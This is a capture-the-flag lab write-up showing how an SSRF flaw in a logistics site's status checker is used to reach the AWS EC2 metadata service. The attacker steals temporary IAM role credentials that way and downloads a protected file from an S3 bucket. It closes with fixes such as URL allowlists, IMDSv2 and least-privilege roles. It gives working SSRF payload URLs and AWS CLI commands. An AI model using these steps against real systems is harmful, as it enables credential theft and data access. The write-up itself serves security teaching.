November 17, 2026
Pwnedlabs: SSRF to Pwned
Mind Path

By Prometheuss
4 min read
Mind Path
The setup
The lab handed us a single link, http://app.huge-logistics.com, and that was it. No creds, no hints, just a boring-looking corporate site.
Poking around the site
First thing we did was just visit the page and look at it like a normal user. It's a static site, pretty basic. Just marketing text about the logistics services they offer, some stock-looking images, nothing interactive.
The only thing that stood out was a status-check feature, something to check whether their services are operational. we made a note of it and moved on, figuring we'd come back to it later.
Before that though, we opened up the page source, because an empty-looking site usually still leaks something.
The S3 bucket in the source
In the page source we noticed the images were being loaded from an S3 bucket:
https://huge-logistics-storage.s3.amazonaws.com/web/images/about.jpghttps://huge-logistics-storage.s3.amazonaws.com/web/images/about.jpgSo the bucket is huge-logistics-storage. The nice thing about S3 is that if a bucket allows public listing, you can just hit the bucket root and it'll dump every object key in XML. we tried it, and sure enough it listed everything:
<ListBucketResult>
<Name>huge-logistics-storage</Name>
...
<Contents>
<Key>backup/flag.txt</Key>
<Size>32</Size>
</Contents>
<Contents>
<Key>web/images/about.jpg</Key>
</Contents>
...
</ListBucketResult><ListBucketResult>
<Name>huge-logistics-storage</Name>
...
<Contents>
<Key>backup/flag.txt</Key>
<Size>32</Size>
</Contents>
<Contents>
<Key>web/images/about.jpg</Key>
</Contents>
...
</ListBucketResult>Most of it was just the website images, but one key jumped out: backup/flag.txt, So we tried to grab it directly:
https://huge-logistics-storage.s3.amazonaws.com/backup/flag.txthttps://huge-logistics-storage.s3.amazonaws.com/backup/flag.txtAnd no luck, access denied:
<Error>
<Code>AccessDenied</Code>
<Message>Access Denied</Message>
</Error><Error>
<Code>AccessDenied</Code>
<Message>Access Denied</Message>
</Error>So the bucket lets anyone list the objects, but reading flag.txt needs permissions we don't have yet. Listing is public, reading that object is not.
Back to the status check ( SSRF)
The status feature turned out to be a tool for checking whether a website or API or client portal was up and running. When you click the check button, it fires off a PHP request with a name parameter pointing at the site to check:
http://app.huge-logistics.com/status/status.php?name=hugelogisticsstatus.comhttp://app.huge-logistics.com/status/status.php?name=hugelogisticsstatus.comThe server takes whatever you put in name, goes and makes a request to it from its own side, and tells you back whether it's reachable.
This site uses S3, so it's almost certainly living inside AWS. If it's on an EC2 instance, then we can point this status checker at something way more interesting than a website.
What's the Instance Metadata Service
Quick detour for anyone who hasn't met IMDS before.
Every EC2 instance has an Instance Metadata Service (IMDS). It's a little internal service that the machine itself can reach at the address 169.254.169.254. The instance can ask it questions about itself, like what's my instance ID, what's my IP, what IAM permissions do we have, and so on.
!Important that address is only reachable from the instance itself. You can't hit 169.254.169.254 from your own laptop, it just won't route. But we don't need to. We've got an SSRF, which means we can make the server ask on my behalf, from inside, which is exactly where IMDS trusts the request from.
Walking the metadata through SSRF
Pointing the status checker's name parameter at the metadata endpoint instead of a website:
http://app.huge-logistics.com/status/status.php?name=169.254.169.254/latest/meta-data/http://app.huge-logistics.com/status/status.php?name=169.254.169.254/latest/meta-data/And it came back with the full list of metadata categories:
ami-id ami-launch-index ami-manifest-path block-device-mapping/
events/ hostname iam/ identity-credentials/ instance-action
instance-id instance-life-cycle instance-type local-hostname
local-ipv4 mac metrics/ network/ placement/ profile
public-hostname public-ipv4 public-keys/ reservation-id
security-groups services/ systemami-id ami-launch-index ami-manifest-path block-device-mapping/
events/ hostname iam/ identity-credentials/ instance-action
instance-id instance-life-cycle instance-type local-hostname
local-ipv4 mac metrics/ network/ placement/ profile
public-hostname public-ipv4 public-keys/ reservation-id
security-groups services/ systemThat iam/ entry is what we care about. If there's an IAM role attached, its temporary credentials are sitting under iam/security-credentials/. So we dug down that path:
http://app.huge-logistics.com/status/status.php?name=169.254.169.254/latest/meta-data/iam/security-credentials/MetapwnedS3Accesshttp://app.huge-logistics.com/status/status.php?name=169.254.169.254/latest/meta-data/iam/security-credentials/MetapwnedS3AccessMetapwnedS3Access is the name of the role attached to the instance. And that endpoint handed over the jackpot, a full set of temporary credentials:
{
"Code" : "Success",
"Type" : "AWS-HMAC",
"AccessKeyId" : "REDACTED",
"SecretAccessKey" : "REDACTED",
"Token" : "REDACTED",
"Expiration" : "2026-11-17T14:05:03Z"
}{
"Code" : "Success",
"Type" : "AWS-HMAC",
"AccessKeyId" : "REDACTED",
"SecretAccessKey" : "REDACTED",
"Token" : "REDACTED",
"Expiration" : "2026-11-17T14:05:03Z"
}Three things we need: AccessKeyId, SecretAccessKey, and the Token. Note the Expiration, these are temporary creds, so they only work for a short window. The clock's ticking once you pull them.
Using the creds to get the flag
Plugging the three values into the AWS CLI (you can aws configure them or just export them as env vars along with the session token). First thing, We confirmed who we are:
aws sts get-caller-identity
{
"UserId": "AROARQVIRZ4UCHIUOGHDS:i-0199bf97fb9d996f1",
"Account": "104506445608",
"Arn": "arn:aws:sts::104506445608:assumed-role/MetapwnedS3Access/i-0199bf97fb9d996f1"
}aws sts get-caller-identity
{
"UserId": "AROARQVIRZ4UCHIUOGHDS:i-0199bf97fb9d996f1",
"Account": "104506445608",
"Arn": "arn:aws:sts::104506445608:assumed-role/MetapwnedS3Access/i-0199bf97fb9d996f1"
}So we now acting as the instance's role, MetapwnedS3Access. This is the same identity the website runs as, and importantly it's a role that has S3 access, which the public anonymous request earlier did not.
Remember the backup/ folder we got access-denied on before? Let's try again now
aws s3 ls huge-logistics-storage/backup/
2023-06-01 03:44:47 3717 cc-export2.txt
2023-06-01 20:08:27 32 flag.txtaws s3 ls huge-logistics-storage/backup/
2023-06-01 03:44:47 3717 cc-export2.txt
2023-06-01 20:08:27 32 flag.txtThe flag is what we're after. Pull it down:
aws s3 cp s3://huge-logistics-storage/backup/flag.txt .
download: s3://huge-logistics-storage/backup/flag.txt to ./flag.txtaws s3 cp s3://huge-logistics-storage/backup/flag.txt .
download: s3://huge-logistics-storage/backup/flag.txt to ./flag.txtTakeaways and how to fix it
This whole chain worked because a few small misconfigurations lined up. Any one of them broken and the attack falls apart:
- The S3 bucket allowed public listing. Attackers love this because it hands you a map of everything in the bucket, including a file literally named
flag.txt. Lock down the bucket policy and block public access unless a bucket genuinely needs to be public. - The status check accepted arbitrary URLs (SSRF). The feature should only ever talk to a known list of hosts. Validate the input against an allowlist, and specifically block internal and link-local ranges like
169.254.169.254. Never let a user-controlled value decide where the server makes a request. - The instance was on IMDSv1. This is the big one. On IMDSv1, a simple
GETto the metadata endpoint hands back credentials, which is exactly what made the SSRF so devastating. Switching to IMDSv2 would have likely killed this: IMDSv2 requires aPUTrequest to grab a session token first, and most SSRF bugs can only sendGETs, so they never even get the token. - The IAM role was broader than it needed to be. The role could read the sensitive
backup/folder. Scope roles to least privilege so that even if the creds leak, there's not much to reach.